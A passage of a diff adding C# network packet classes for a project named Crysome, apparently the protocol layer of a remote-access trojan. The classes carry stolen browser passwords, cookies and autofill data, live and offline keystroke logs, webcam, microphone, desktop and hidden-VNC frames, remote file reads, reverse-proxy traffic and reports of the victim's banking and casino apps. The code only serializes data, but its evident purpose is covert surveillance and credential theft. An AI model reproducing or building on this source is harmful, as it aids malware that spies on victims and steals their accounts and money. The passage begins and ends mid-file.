ChunkIdx = idx,
|
||||
Crc32 = Crc32.Compute(_data, num, num2),
|
||||
Data = array
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
using System.IO;
|
||||
using Crysome.Common.Network.Packets;
|
||||
|
||||
namespace Crysome.Common.Network.FileTransfer;
|
||||
|
||||
public sealed class FtStartPacket : IPacket
|
||||
{
|
||||
public uint TransferId;
|
||||
|
||||
public string FileName;
|
||||
|
||||
public int TotalChunks;
|
||||
|
||||
public int ChunkSize;
|
||||
|
||||
public long TotalBytes;
|
||||
|
||||
public byte[] Sha256;
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(TransferId);
|
||||
w.Write(FileName ?? "");
|
||||
w.Write(TotalChunks);
|
||||
w.Write(ChunkSize);
|
||||
w.Write(TotalBytes);
|
||||
w.Write(Sha256 ?? new byte[32]);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
TransferId = r.ReadUInt32();
|
||||
FileName = r.ReadString();
|
||||
TotalChunks = r.ReadInt32();
|
||||
ChunkSize = r.ReadInt32();
|
||||
TotalBytes = r.ReadInt64();
|
||||
Sha256 = r.ReadBytes(32);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class AudioDataPacket : IPacket
|
||||
{
|
||||
public byte[] WavData { get; set; }
|
||||
|
||||
public AudioDataPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public AudioDataPacket(byte[] wavData)
|
||||
{
|
||||
WavData = wavData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write((WavData != null) ? WavData.Length : 0);
|
||||
if (WavData != null && WavData.Length != 0)
|
||||
{
|
||||
w.Write(WavData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
WavData = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class AudioDevicesResponsePacket : IPacket
|
||||
{
|
||||
public string[] DeviceNames { get; set; } = Array.Empty<string>();
|
||||
|
||||
public AudioDevicesResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public AudioDevicesResponsePacket(string[] names)
|
||||
{
|
||||
DeviceNames = names ?? Array.Empty<string>();
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
string[] deviceNames = DeviceNames;
|
||||
w.Write((deviceNames != null) ? deviceNames.Length : 0);
|
||||
if (DeviceNames != null)
|
||||
{
|
||||
string[] deviceNames2 = DeviceNames;
|
||||
foreach (string text in deviceNames2)
|
||||
{
|
||||
w.Write(text ?? "");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
DeviceNames = new string[num];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
DeviceNames[i] = r.ReadString();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class AudioStreamChunkPacket : IPacket
|
||||
{
|
||||
public byte[] Chunk { get; set; } = new byte[0];
|
||||
|
||||
public AudioStreamChunkPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public AudioStreamChunkPacket(byte[] chunk)
|
||||
{
|
||||
Chunk = chunk ?? new byte[0];
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
byte[] chunk = Chunk;
|
||||
w.Write((chunk != null) ? chunk.Length : 0);
|
||||
if (Chunk != null && Chunk.Length != 0)
|
||||
{
|
||||
w.Write(Chunk);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
Chunk = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class CameraDevicesResponsePacket : IPacket
|
||||
{
|
||||
public string[] DeviceNames { get; set; } = Array.Empty<string>();
|
||||
|
||||
public CameraDevicesResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public CameraDevicesResponsePacket(string[] names)
|
||||
{
|
||||
DeviceNames = names ?? Array.Empty<string>();
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
string[] deviceNames = DeviceNames;
|
||||
w.Write((deviceNames != null) ? deviceNames.Length : 0);
|
||||
if (DeviceNames != null)
|
||||
{
|
||||
string[] deviceNames2 = DeviceNames;
|
||||
foreach (string text in deviceNames2)
|
||||
{
|
||||
w.Write(text ?? "");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
DeviceNames = new string[num];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
DeviceNames[i] = r.ReadString();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class CameraFramePacket : IPacket
|
||||
{
|
||||
public byte[] JpegData { get; set; }
|
||||
|
||||
public CameraFramePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public CameraFramePacket(byte[] jpegData)
|
||||
{
|
||||
JpegData = jpegData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write((JpegData != null) ? JpegData.Length : 0);
|
||||
if (JpegData != null && JpegData.Length != 0)
|
||||
{
|
||||
w.Write(JpegData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
JpegData = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ClientInfoResponsePacket : IPacket
|
||||
{
|
||||
public string Identifier { get; set; }
|
||||
|
||||
public string Address { get; set; }
|
||||
|
||||
public int Port { get; set; }
|
||||
|
||||
public string Username { get; set; }
|
||||
|
||||
public string ComputerName { get; set; }
|
||||
|
||||
public string OS { get; set; }
|
||||
|
||||
public string ActiveWindow { get; set; }
|
||||
|
||||
public string Uptime { get; set; }
|
||||
|
||||
public string CountryCode { get; set; }
|
||||
|
||||
public string Group { get; set; }
|
||||
|
||||
public string GPU { get; set; }
|
||||
|
||||
public ClientInfoResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public ClientInfoResponsePacket(string identifier, string address, int port, string username, string computerName, string os, string activeWindow, string uptime, string countryCode, string group, string gpu = "")
|
||||
{
|
||||
Identifier = identifier;
|
||||
Address = address;
|
||||
Port = port;
|
||||
Username = username;
|
||||
ComputerName = computerName;
|
||||
OS = os;
|
||||
ActiveWindow = activeWindow;
|
||||
Uptime = uptime;
|
||||
CountryCode = countryCode;
|
||||
Group = group;
|
||||
GPU = gpu;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Identifier ?? "");
|
||||
w.Write(Address ?? "");
|
||||
w.Write(Port);
|
||||
w.Write(Username ?? "");
|
||||
w.Write(ComputerName ?? "");
|
||||
w.Write(OS ?? "");
|
||||
w.Write(ActiveWindow ?? "");
|
||||
w.Write(Uptime ?? "");
|
||||
w.Write(CountryCode ?? "");
|
||||
w.Write(Group ?? "");
|
||||
w.Write(GPU ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Identifier = r.ReadString();
|
||||
Address = r.ReadString();
|
||||
Port = r.ReadInt32();
|
||||
Username = r.ReadString();
|
||||
ComputerName = r.ReadString();
|
||||
OS = r.ReadString();
|
||||
ActiveWindow = r.ReadString();
|
||||
Uptime = r.ReadString();
|
||||
CountryCode = r.ReadString();
|
||||
Group = r.ReadString();
|
||||
GPU = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ClientInventoryReportPacket : IPacket
|
||||
{
|
||||
public string AppsJson { get; set; }
|
||||
|
||||
public string BankJson { get; set; }
|
||||
|
||||
public string CasinoJson { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(AppsJson ?? "");
|
||||
w.Write(BankJson ?? "");
|
||||
w.Write(CasinoJson ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
AppsJson = r.ReadString();
|
||||
BankJson = r.ReadString();
|
||||
try
|
||||
{
|
||||
CasinoJson = r.ReadString();
|
||||
}
|
||||
catch
|
||||
{
|
||||
CasinoJson = "";
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class CredentialsResponsePacket : IPacket
|
||||
{
|
||||
public string ErrorMessage { get; set; }
|
||||
|
||||
public string PasswordsJson { get; set; }
|
||||
|
||||
public string CookiesJson { get; set; }
|
||||
|
||||
public string AutofillsJson { get; set; }
|
||||
|
||||
public CredentialsResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public CredentialsResponsePacket(string errorMessage, string passwordsJson = null, string cookiesJson = null, string autofillsJson = null)
|
||||
{
|
||||
ErrorMessage = errorMessage ?? "";
|
||||
PasswordsJson = passwordsJson ?? "";
|
||||
CookiesJson = cookiesJson ?? "";
|
||||
AutofillsJson = autofillsJson ?? "";
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
WriteString(w, ErrorMessage);
|
||||
WriteString(w, PasswordsJson);
|
||||
WriteString(w, CookiesJson);
|
||||
WriteString(w, AutofillsJson);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
ErrorMessage = ReadString(r);
|
||||
PasswordsJson = ReadString(r);
|
||||
CookiesJson = ReadString(r);
|
||||
AutofillsJson = ReadString(r);
|
||||
}
|
||||
|
||||
private static void WriteString(BinaryWriter w, string s)
|
||||
{
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(s ?? "");
|
||||
w.Write(bytes.Length);
|
||||
if (bytes.Length != 0)
|
||||
{
|
||||
w.Write(bytes);
|
||||
}
|
||||
}
|
||||
|
||||
private static string ReadString(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
if (num <= 0)
|
||||
{
|
||||
return "";
|
||||
}
|
||||
return Encoding.UTF8.GetString(r.ReadBytes(num));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class DesktopFramePacket : IPacket
|
||||
{
|
||||
public byte[] ImageData { get; set; }
|
||||
|
||||
public DesktopFramePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public DesktopFramePacket(byte[] imageData)
|
||||
{
|
||||
ImageData = imageData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write((ImageData != null) ? ImageData.Length : 0);
|
||||
if (ImageData != null && ImageData.Length != 0)
|
||||
{
|
||||
w.Write(ImageData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
ImageData = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class DirectLinkResponsePacket : IPacket
|
||||
{
|
||||
public string Status { get; set; }
|
||||
|
||||
public DirectLinkResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public DirectLinkResponsePacket(string status)
|
||||
{
|
||||
Status = status;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Status ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Status = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class FileTransferResponsePacket : IPacket
|
||||
{
|
||||
public string Status { get; set; }
|
||||
|
||||
public FileTransferResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public FileTransferResponsePacket(string status)
|
||||
{
|
||||
Status = status;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Status ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Status = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class GetDirectoryResponsePacket : IPacket
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public string Path { get; set; }
|
||||
|
||||
public string[] Folders { get; set; }
|
||||
|
||||
public string[] Files { get; set; }
|
||||
|
||||
public long[] FileSizes { get; set; }
|
||||
|
||||
public long[] FolderLastWriteUtcTicks { get; set; }
|
||||
|
||||
public long[] FileLastWriteUtcTicks { get; set; }
|
||||
|
||||
public byte[][] FolderIconPng { get; set; }
|
||||
|
||||
public byte[][] FileIconPng { get; set; }
|
||||
|
||||
public long RequestId { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Name ?? "");
|
||||
w.Write(Path ?? "");
|
||||
int num = ((Folders != null) ? Folders.Length : 0);
|
||||
w.Write(num);
|
||||
if (Folders != null)
|
||||
{
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
w.Write(Folders[i] ?? "");
|
||||
}
|
||||
}
|
||||
int num2 = ((Files != null) ? Files.Length : 0);
|
||||
w.Write(num2);
|
||||
if (Files != null)
|
||||
{
|
||||
for (int j = 0; j < num2; j++)
|
||||
{
|
||||
w.Write(Files[j] ?? "");
|
||||
}
|
||||
}
|
||||
w.Write((FileSizes != null) ? FileSizes.Length : 0);
|
||||
if (FileSizes != null)
|
||||
{
|
||||
for (int k = 0; k < FileSizes.Length; k++)
|
||||
{
|
||||
w.Write(FileSizes[k]);
|
||||
}
|
||||
}
|
||||
for (int l = 0; l < num; l++)
|
||||
{
|
||||
long value = ((FolderLastWriteUtcTicks != null && l < FolderLastWriteUtcTicks.Length) ? FolderLastWriteUtcTicks[l] : 0);
|
||||
w.Write(value);
|
||||
}
|
||||
for (int m = 0; m < num2; m++)
|
||||
{
|
||||
long value2 = ((FileLastWriteUtcTicks != null && m < FileLastWriteUtcTicks.Length) ? FileLastWriteUtcTicks[m] : 0);
|
||||
w.Write(value2);
|
||||
}
|
||||
WritePngArray(w, FolderIconPng, num);
|
||||
WritePngArray(w, FileIconPng, num2);
|
||||
w.Write(RequestId);
|
||||
}
|
||||
|
||||
private static void WritePngArray(BinaryWriter w, byte[][] arr, int count)
|
||||
{
|
||||
for (int i = 0; i < count; i++)
|
||||
{
|
||||
byte[] array = ((arr != null && i < arr.Length) ? arr[i] : null);
|
||||
int num = ((array != null) ? array.Length : 0);
|
||||
w.Write(num);
|
||||
if (num > 0)
|
||||
{
|
||||
w.Write(array);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[][] ReadPngArray(BinaryReader r, int count)
|
||||
{
|
||||
byte[][] array = new byte[count][];
|
||||
for (int i = 0; i < count; i++)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
array[i] = ((num > 0) ? r.ReadBytes(num) : null);
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Name = r.ReadString();
|
||||
Path = r.ReadString();
|
||||
int num = r.ReadInt32();
|
||||
Folders = new string[num];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
Folders[i] = r.ReadString();
|
||||
}
|
||||
int num2 = r.ReadInt32();
|
||||
Files = new string[num2];
|
||||
for (int j = 0; j < num2; j++)
|
||||
{
|
||||
Files[j] = r.ReadString();
|
||||
}
|
||||
int num3 = r.ReadInt32();
|
||||
FileSizes = new long[num3];
|
||||
for (int k = 0; k < num3; k++)
|
||||
{
|
||||
FileSizes[k] = r.ReadInt64();
|
||||
}
|
||||
FolderLastWriteUtcTicks = null;
|
||||
FileLastWriteUtcTicks = null;
|
||||
FolderIconPng = null;
|
||||
FileIconPng = null;
|
||||
RequestId = 0L;
|
||||
if (r.BaseStream.Position >= r.BaseStream.Length)
|
||||
{
|
||||
return;
|
||||
}
|
||||
FolderLastWriteUtcTicks = new long[num];
|
||||
for (int l = 0; l < num; l++)
|
||||
{
|
||||
FolderLastWriteUtcTicks[l] = r.ReadInt64();
|
||||
}
|
||||
if (r.BaseStream.Position >= r.BaseStream.Length)
|
||||
{
|
||||
return;
|
||||
}
|
||||
FileLastWriteUtcTicks = new long[num2];
|
||||
for (int m = 0; m < num2; m++)
|
||||
{
|
||||
FileLastWriteUtcTicks[m] = r.ReadInt64();
|
||||
}
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
FolderIconPng = ReadPngArray(r, num);
|
||||
FileIconPng = ReadPngArray(r, num2);
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
RequestId = r.ReadInt64();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class GetDrivesResponsePacket : IPacket
|
||||
{
|
||||
public string[] Drives { get; set; }
|
||||
|
||||
public long RequestId { get; set; }
|
||||
|
||||
public GetDrivesResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public GetDrivesResponsePacket(string[] drives, long requestId = 0L)
|
||||
{
|
||||
Drives = drives;
|
||||
RequestId = requestId;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write((Drives != null) ? Drives.Length : 0);
|
||||
if (Drives != null)
|
||||
{
|
||||
for (int i = 0; i < Drives.Length; i++)
|
||||
{
|
||||
w.Write(Drives[i] ?? "");
|
||||
}
|
||||
}
|
||||
w.Write(RequestId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
Drives = new string[num];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
Drives[i] = r.ReadString();
|
||||
}
|
||||
RequestId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class GetProcessListResponsePacket : IPacket
|
||||
{
|
||||
public List<ProcessListEntry> Processes { get; set; } = new List<ProcessListEntry>();
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Processes?.Count ?? 0);
|
||||
if (Processes == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
foreach (ProcessListEntry process in Processes)
|
||||
{
|
||||
w.Write(process.Name ?? "");
|
||||
w.Write(process.Pid);
|
||||
w.Write((process.IconData != null) ? process.IconData.Length : 0);
|
||||
if (process.IconData != null && process.IconData.Length != 0)
|
||||
{
|
||||
w.Write(process.IconData);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Processes = new List<ProcessListEntry>();
|
||||
int num = r.ReadInt32();
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
string name = r.ReadString();
|
||||
int pid = r.ReadInt32();
|
||||
int num2 = r.ReadInt32();
|
||||
byte[] iconData = ((num2 > 0) ? r.ReadBytes(num2) : new byte[0]);
|
||||
Processes.Add(new ProcessListEntry(name, pid, iconData));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class GetSystemInfoResponsePacket : IPacket
|
||||
{
|
||||
public string Identifier { get; set; }
|
||||
|
||||
public string Address { get; set; }
|
||||
|
||||
public int Port { get; set; }
|
||||
|
||||
public string Username { get; set; }
|
||||
|
||||
public string ComputerName { get; set; }
|
||||
|
||||
public string OS { get; set; }
|
||||
|
||||
public GetSystemInfoResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public GetSystemInfoResponsePacket(string identifier, string address, int port, string username, string computerName, string os)
|
||||
{
|
||||
Identifier = identifier;
|
||||
Address = address;
|
||||
Port = port;
|
||||
Username = username;
|
||||
ComputerName = computerName;
|
||||
OS = os;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Identifier ?? "");
|
||||
w.Write(Address ?? "");
|
||||
w.Write(Port);
|
||||
w.Write(Username ?? "");
|
||||
w.Write(ComputerName ?? "");
|
||||
w.Write(OS ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Identifier = r.ReadString();
|
||||
Address = r.ReadString();
|
||||
Port = r.ReadInt32();
|
||||
Username = r.ReadString();
|
||||
ComputerName = r.ReadString();
|
||||
OS = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class HvncFramePacket : IPacket
|
||||
{
|
||||
public byte[] ImageData { get; set; }
|
||||
|
||||
public HvncFramePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public HvncFramePacket(byte[] imageData)
|
||||
{
|
||||
ImageData = imageData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write((ImageData != null) ? ImageData.Length : 0);
|
||||
if (ImageData != null && ImageData.Length != 0)
|
||||
{
|
||||
w.Write(ImageData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
ImageData = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class KeylogDataPacket : IPacket
|
||||
{
|
||||
public string Data { get; set; } = "";
|
||||
|
||||
public KeylogDataPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public KeylogDataPacket(string data)
|
||||
{
|
||||
Data = data ?? "";
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Data ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Data = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class NotifyStatusResponsePacket : IPacket
|
||||
{
|
||||
public string StatusMessage { get; set; }
|
||||
|
||||
public NotifyStatusResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public NotifyStatusResponsePacket(string statusMessage)
|
||||
{
|
||||
StatusMessage = statusMessage;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(StatusMessage ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
StatusMessage = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class OfflineKeylogDataPacket : IPacket
|
||||
{
|
||||
public string Data { get; set; }
|
||||
|
||||
public OfflineKeylogDataPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public OfflineKeylogDataPacket(string data)
|
||||
{
|
||||
Data = data;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Data ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Data = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class PingResponsePacket : IPacket
|
||||
{
|
||||
public long ServerTick { get; set; }
|
||||
|
||||
public PingResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public PingResponsePacket(long serverTick)
|
||||
{
|
||||
ServerTick = serverTick;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(ServerTick);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
ServerTick = r.ReadInt64();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ProcessListEntry
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public int Pid { get; set; }
|
||||
|
||||
public byte[] IconData { get; set; }
|
||||
|
||||
public ProcessListEntry()
|
||||
{
|
||||
}
|
||||
|
||||
public ProcessListEntry(string name, int pid, byte[] iconData)
|
||||
{
|
||||
Name = name ?? "";
|
||||
Pid = pid;
|
||||
IconData = iconData ?? new byte[0];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ProxyStatusResponsePacket : IPacket
|
||||
{
|
||||
public bool Active { get; set; }
|
||||
|
||||
public string Message { get; set; }
|
||||
|
||||
public ProxyStatusResponsePacket()
|
||||
{
|
||||
Message = "";
|
||||
}
|
||||
|
||||
public ProxyStatusResponsePacket(bool active, string message)
|
||||
{
|
||||
Active = active;
|
||||
Message = message ?? "";
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Active);
|
||||
w.Write(Message ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Active = r.ReadBoolean();
|
||||
Message = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ReadFileResponsePacket : IPacket
|
||||
{
|
||||
public bool Success { get; set; }
|
||||
|
||||
public string ErrorMessage { get; set; }
|
||||
|
||||
public byte[] Data { get; set; }
|
||||
|
||||
public long TransferId { get; set; }
|
||||
|
||||
public ReadFileResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public ReadFileResponsePacket(bool success, string errorMessage = null, byte[] data = null, long transferId = 0L)
|
||||
{
|
||||
Success = success;
|
||||
ErrorMessage = errorMessage ?? "";
|
||||
Data = data;
|
||||
TransferId = transferId;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Success);
|
||||
w.Write(ErrorMessage ?? "");
|
||||
int num = ((Data != null) ? Data.Length : 0);
|
||||
w.Write(num);
|
||||
if (Data != null && num > 0)
|
||||
{
|
||||
w.Write(Data);
|
||||
}
|
||||
w.Write(TransferId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Success = r.ReadBoolean();
|
||||
ErrorMessage = r.ReadString();
|
||||
int num = r.ReadInt32();
|
||||
Data = ((num > 0) ? r.ReadBytes(num) : null);
|
||||
TransferId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ReverseProxyDataPacket : IPacket
|
||||
{
|
||||
public int ConnectionId { get; set; }
|
||||
|
||||
public byte[] Data { get; set; }
|
||||
|
||||
public ReverseProxyDataPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public ReverseProxyDataPacket(int connectionId, byte[] data)
|
||||
{
|
||||
ConnectionId = connectionId;
|
||||
Data = data ?? new byte[0];
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(ConnectionId);
|
||||
w.Write((Data != null) ? Data.Length : 0);
|
||||
if (Data != null && Data.Length != 0)
|
||||
{
|
||||
w.Write(Data);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
ConnectionId = r.ReadInt32();
|
||||
int num = r.ReadInt32();
|
||||
Data = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ReverseProxyEndPacket : IPacket
|
||||
{
